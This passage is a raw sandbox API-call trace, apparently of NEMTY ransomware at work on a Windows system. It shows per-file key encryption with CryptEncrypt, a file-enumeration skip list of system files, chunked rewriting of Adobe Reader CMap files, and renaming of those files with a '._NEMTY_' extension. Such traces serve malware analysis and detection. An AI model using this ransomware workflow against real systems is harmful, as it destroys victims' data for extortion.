RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-V", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0195.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-V", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90msp-RKSJ-V", lpUsedDefaultChar=0x0) returned 12 [0195.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-V", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0195.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90msp-RKSJ-V", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90msp-RKSJ-V", lpUsedDefaultChar=0x0) returned 12 [0195.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0195.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0195.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0195.745] Sleep (dwMilliseconds=0x5) [0195.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28522a30, dwHighDateTime=0x1d561e8)) [0195.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28522a30, dwHighDateTime=0x1d561e8)) [0195.747] GetLastError () returned 0x5 [0195.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0195.747] GetLastError () returned 0x5 [0195.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0195.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.747] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0195.747] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0195.747] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0195.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0195.747] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="kLwOHYtqr18ccH1LBSUrNlbo77QeEz92hjh8bZhWqQXQBaENeDLINFIjHl+U5SD1\r\nxya1zEhpUCBKnEPtRjPQn26ky5YBL84MrYV2mZb+u/GUJ/SyBrXjSv5GZ61Yoby9\r\nZSX0A5w4w7LWb05QpinlTHK6QBMdm6NKaXFXV2N4MZnrZMvo92C9W2syoUxXGFwm\r\nckV+MNTuiIY88q1q8t+u77VBzsqcyaGTccn8xvKYFVYN3FUOk2Gd9mycX5mJqXSF\r\nz962GgpTOFPQwvzrDWqUCQ+bF3dmz2LhO1P6wTIsjGPXGAqapsTcymuYS3801FHI\r\nbmI1s6OW7QeV/URXOKm8ag==\r\n", pcchString=0x653e91c) returned 1 [0195.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0195.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0195.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0195.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0195.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0195.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.747] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0195.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0195.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.748] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.772] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.772] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.781] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.781] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.800] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.800] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.809] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.837] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.847] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.853] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.853] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0195.859] CloseHandle (hObject=0xffffffff) returned 0 [0195.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0195.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0195.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0195.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0195.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0195.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0195.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.859] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-v._nemty_kgobjgd_")) returned 0 [0195.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0195.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0195.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0195.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0195.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0195.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0195.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0195.859] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x202f, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-H", cAlternateFileName="90PV-R~1")) returned 1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2=".") returned 1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="..") returned 1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="...") returned 1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="windows") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="$RECYCLE.BIN") returned 1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="rsa") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="NTDETECT.COM") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="ntldr") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="MSDOS.SYS") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="IO.SYS") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="boot.ini") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="boot.ini") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="AUTOEXEC.BAT") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="ntuser.dat") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="desktop.ini") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="CONFIG.SYS") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="RECYCLER") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="BOOTSECT.BAK") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="bootmgr") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="programdata") returned -1 [0195.860] lstrcmpiW (lpString1="90pv-RKSJ-H", lpString2="appdata") returned -1 [0195.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90pv-RKSJ-H", lpUsedDefaultChar=0x0) returned 11 [0195.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90pv-RKSJ-H", lpUsedDefaultChar=0x0) returned 11 [0195.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90pv-RKSJ-H", lpUsedDefaultChar=0x0) returned 11 [0195.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90pv-RKSJ-H", lpUsedDefaultChar=0x0) returned 11 [0195.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0195.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0195.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0195.861] Sleep (dwMilliseconds=0x5) [0195.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28653530, dwHighDateTime=0x1d561e8)) [0195.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28653530, dwHighDateTime=0x1d561e8)) [0195.872] GetLastError () returned 0x5 [0195.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0195.872] GetLastError () returned 0x5 [0195.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0195.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.872] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0195.872] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0195.872] 